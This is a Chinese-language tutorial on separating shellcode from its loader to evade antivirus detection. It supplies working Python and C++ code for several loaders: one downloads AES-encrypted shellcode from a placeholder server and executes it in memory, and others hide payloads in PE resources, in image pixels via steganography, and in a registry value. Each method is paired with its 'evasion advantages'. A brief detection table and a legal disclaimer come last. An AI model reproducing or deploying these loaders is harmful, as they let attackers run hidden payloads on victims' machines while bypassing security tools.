Shellcode分离加载技术解析
字数 1005 2025-08-29 08:30:31
Shellcode分离加载技术详解
一、技术概述
Shellcode分离加载技术是一种先进的恶意代码规避技术,通过将恶意代码与加载器物理隔离来规避传统安全检测。其核心思想是将攻击载荷分成多个部分,采用不同方式存储和传输,仅在运行时动态组装执行。
主要优势:
- 静态特征规避:加载器本身不包含恶意特征
- 动态行为隐蔽:运行时才获取和组装Shellcode
- 灵活部署:支持多平台、多协议分离存储
二、远程分离模式(HTTP/HTTPS下载)
2.1 实现原理
- 服务端:托管加密后的Shellcode
- 加载器:
- 发起网络请求获取加密数据
- 内存解密后执行
2.2 完整实现
服务端Shellcode生成工具(Python)
import requests
from Crypto.Cipher import AES
import os
key = os.urandom(32)
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
# 原始Shellcode(示例为弹窗)
shellcode = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
# ...省略部分shellcode...
b"\xd5\x43\x3A\\text.txt\x00")
encrypted = cipher.encrypt(shellcode)
with open("payload.bin", "wb") as f:
f.write(iv + encrypted)
print(f"Key: {key.hex()}\nURL: https://your-server.com/payload.bin")
远程加载器(C++)
#include <Windows.h>
#include <winhttp.h>
#include <wincrypt.h>
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "crypt32.lib")
BYTE* DownloadPayload(LPCWSTR url, DWORD* outSize) {
HINTERNET hSession = WinHttpOpen(L"Loader", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
HINTERNET hConnect = WinHttpConnect(hSession, L"your-server.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/payload.bin", NULL, NULL, NULL, WINHTTP_FLAG_SECURE);
WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0);
WinHttpReceiveResponse(hRequest, NULL);
DWORD dwSize = 0;
WinHttpQueryDataAvailable(hRequest, &dwSize);
BYTE* buffer = new BYTE[dwSize];
WinHttpReadData(hRequest, buffer, dwSize, &dwSize);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
*outSize = dwSize;
return buffer;
}
bool AESDecrypt(BYTE* data, DWORD dataLen, BYTE* key) {
HCRYPTPROV hProv;
HCRYPTKEY hKey;
DWORD mode = CRYPT_MODE_CBC;
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTENT))
return false;
struct {
BLOBHEADER hdr;
DWORD keySize;
BYTE key[32];
} keyBlob = { { PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, CALG_AES_256 }, 32 };
memcpy(keyBlob.key, key, 32);
if (!CryptImportKey(hProv, (BYTE*)&keyBlob, sizeof(keyBlob), 0, 0, &hKey))
return false;
CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0);
CryptSetKeyParam(hKey, KP_IV, data, 0); // 前16字节为IV
if (!CryptDecrypt(hKey, 0, TRUE, 0, data + 16, &dataLen))
return false;
CryptDestroyKey(hKey);
CryptReleaseContext(hProv, 0);
return true;
}
int main() {
DWORD size;
BYTE* data = DownloadPayload(L"https://your-server.com/payload.bin", &size);
BYTE key[] = {0x01,0x23,...}; // 替换为生成的实际密钥
if (AESDecrypt(data, size - 16, key)) {
void (*func)() = (void(*)())(data + 16); // 跳过IV
func();
}
delete[] data;
return 0;
}
免杀优势
- 无本地恶意代码存储
- 动态解密执行
- 使用合法Windows API
三、本地分离模式
3.1 资源文件嵌入
资源文件加载器(C++)
#include <Windows.h>
#include <winternl.h>
BYTE* LoadFromResource(DWORD* outSize) {
HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(101), RT_RCDATA);
HGLOBAL hData = LoadResource(NULL, hRes);
*outSize = SizeofResource(NULL, hRes);
return (BYTE*)LockResource(hData);
}
void XORDecrypt(BYTE* data, DWORD size, BYTE key) {
for (DWORD i = 0; i < size; i++)
data[i] ^= key;
}
int main() {
DWORD size;
BYTE* data = LoadFromResource(&size);
XORDecrypt(data, size, 0x5A);
void (*func)() = (void(*)())data;
func();
return 0;
}
资源嵌入方法
创建payload.rc文件:
101 RCDATA "payload.bin"
编译时链接资源文件
3.2 图片隐写术
隐写工具(Python)
from PIL import Image
def embed_payload(img_path, payload, output_path):
img = Image.open(img_path)
pixels = img.load()
index = 0
for x in range(img.width):
for y in range(img.height):
r, g, b = pixels[x, y]
if index < len(payload):
r = (r & 0xFE) | ((payload[index] >> 7) & 1)
g = (g & 0xFE) | ((payload[index] >> 6) & 1)
b = (b & 0xFE) | ((payload[index] >> 5) & 1)
index += 1
pixels[x, y] = (r, g, b)
img.save(output_path)
shellcode = b"\xfc\x48\x83\xe4..."
embed_payload("input.jpg", shellcode, "output.png")
隐写加载器(C++)
#include <Windows.h>
#include <Gdiplus.h>
#pragma comment(lib, "gdiplus.lib")
BYTE* ExtractPayload(LPCWSTR imgPath, DWORD* outSize) {
Gdiplus::GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
Gdiplus::Bitmap bitmap(imgPath);
DWORD size = bitmap.GetWidth() * bitmap.GetHeight();
BYTE* payload = new BYTE[size];
int index = 0;
for (UINT y = 0; y < bitmap.GetHeight(); y++) {
for (UINT x = 0; x < bitmap.GetWidth(); x++) {
Gdiplus::Color color;
bitmap.GetPixel(x, y, &color);
BYTE b = ((color.GetR() & 1) << 7) |
((color.GetG() & 1) << 6) |
((color.GetB() & 1) << 5);
if(b != 0 && index < size)
payload[index++] = b;
}
}
*outSize = index;
Gdiplus::GdiplusShutdown(gdiplusToken);
return payload;
}
int main() {
DWORD size;
BYTE* data = ExtractPayload(L"output.png", &size);
void (*func)() = (void(*)())data;
func();
delete[] data;
return 0;
}
免杀优势
- 利用合法文件格式隐藏恶意代码
- 无直接文件特征
- 使用系统合法API
四、系统存储分离
4.1 注册表存储
注册表写入工具(Python)
import winreg
import os
key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "Software\\AppConfig")
encrypted = os.urandom(512) # 加密后的Shellcode
winreg.SetValueEx(key, "ConfigData", 0, winreg.REG_BINARY, encrypted)
winreg.CloseKey(key)
注册表加载器(C++)
#include <Windows.h>
BYTE* ReadRegistry(DWORD* outSize) {
HKEY hKey;
DWORD type, size;
RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\AppConfig", 0, KEY_READ, &hKey);
RegQueryValueEx(hKey, L"ConfigData", NULL, &type, NULL, &size);
BYTE* data = new BYTE[size];
RegQueryValueEx(hKey, L"ConfigData", NULL, &type, data, &size);
RegCloseKey(hKey);
*outSize = size;
return data;
}
void RC4Decrypt(BYTE* data, DWORD size, BYTE* key, DWORD keySize) {
BYTE S[256];
for (int i=0; i<256; i++) S[i] = i;
int j = 0;
for (int i=0; i<256; i++) {
j = (j + S[i] + key[i % keySize]) % 256;
std::swap(S[i], S[j]);
}
int i = 0;
j = 0;
for (DWORD n=0; n < size; n++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
std::swap(S[i], S[j]);
data[n] ^= S[(S[i] + S[j]) % 256];
}
}
int main() {
DWORD size;
BYTE* data = ReadRegistry(&size);
BYTE key[] = "secret_key";
RC4Decrypt(data, size, key, sizeof(key)-1);
void (*func)() = (void(*)())data;
func();
delete[] data;
return 0;
}
免杀优势
- 利用系统合法存储位置
- 规避文件扫描
- 可持久化存储
五、防御与检测方案
5.1 检测手段
| 攻击方式 | 检测方法 |
|---|---|
| 远程分离 | 监控异常HTTPS请求 |
| 资源文件 | 扫描内存中的PE头特征 |
| 隐写术 | 分析图像文件的熵值异常 |
| 注册表存储 | 审计敏感注册表项的写入操作 |
5.2 防御建议
# 启用内存保护策略
Set-ProcessMitigation -Policy Enable CFG, DEP, ASLR
# 监控可疑注册表访问
New-EventLog -LogName Security -Source "RegMonitor"
Write-EventLog -LogName Security -Source "RegMonitor" -EventId 1002 `
-Message "检测到敏感注册表访问: HKCU\Software\AppConfig"
六、技术演进方向
-
AI驱动分离:
- 使用GAN生成无害载体文件
- 动态选择最优分离策略
-
硬件级隐蔽:
- 利用GPU内存存储加密数据
- 基于TPM芯片的密钥管理
-
跨平台分离:
# 存储在云服务(如AWS S3) import boto3 s3 = boto3.client('s3') s3.upload_file('payload.bin', 'my-bucket', 'data.dat')
七、法律声明
本文所述技术仅供安全研究和防御技术验证使用。未经授权实施攻击行为违反《网络安全法》。